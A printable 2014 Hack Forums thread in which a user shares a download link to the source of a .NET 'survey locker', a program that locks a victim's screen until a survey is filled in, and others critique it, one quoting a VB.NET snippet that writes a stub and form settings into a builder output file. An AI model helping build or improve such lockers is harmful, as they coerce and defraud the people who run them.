Hack Forums
[.NET] Shitty Survey Locker - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Shitty Survey Locker (/showthread.php?tid=4234411)



Shitty Survey Locker - Tostig - May 17, 2014

Don't learn from this source, it is terribly coded, but it can be tweaked and made into an OK locker.

https://hostr.co/MHnYahojH2if


* - $lick - May 17, 2014

"Infected Links or Infecting Members (+25 points)" lel

Your locker will crash if not run as admin. Due to permission errors.

Also;
PHP Code

<?php 
fileSystem
.WriteAllBytes(filePath, stubBytes, False)
      
fileSystem.WriteAllBytes(filePath, Encoding.Default.GetBytes(FileSplitter), True)
      
fileSystem.WriteAllBytes(filePath, Encoding.Default.GetBytes(frmtitle), True)
      
fileSystem.WriteAllBytes(filePath, Encoding.Default.GetBytes(FileSplitter), True)
      
fileSystem.WriteAllBytes(filePath, Encoding.Default.GetBytes(frmbody), True)
      
fileSystem.WriteAllBytes(filePath, Encoding.Default.GetBytes(FileSplitter), True)
      
fileSystem.WriteAllBytes(filePath, Encoding.Default.GetBytes(frmsurvey), True)
      
fileSystem.WriteAllBytes(filePath, Encoding.Default.GetBytes(FileSplitter), True)
      
fileSystem.WriteAllBytes(filePath, Encoding.Default.GetBytes(frmkey), True) 

This is unnecessary, Don't repeat yourself. Write all the bytes at the same time.


* - SIM-1676753 - May 17, 2014

I'd personally use CodeDom. Just has a lot more customization IMO.


* - Xxeroxx46 - Jun 5, 2014

thanks for your upload :D
i will lock at this source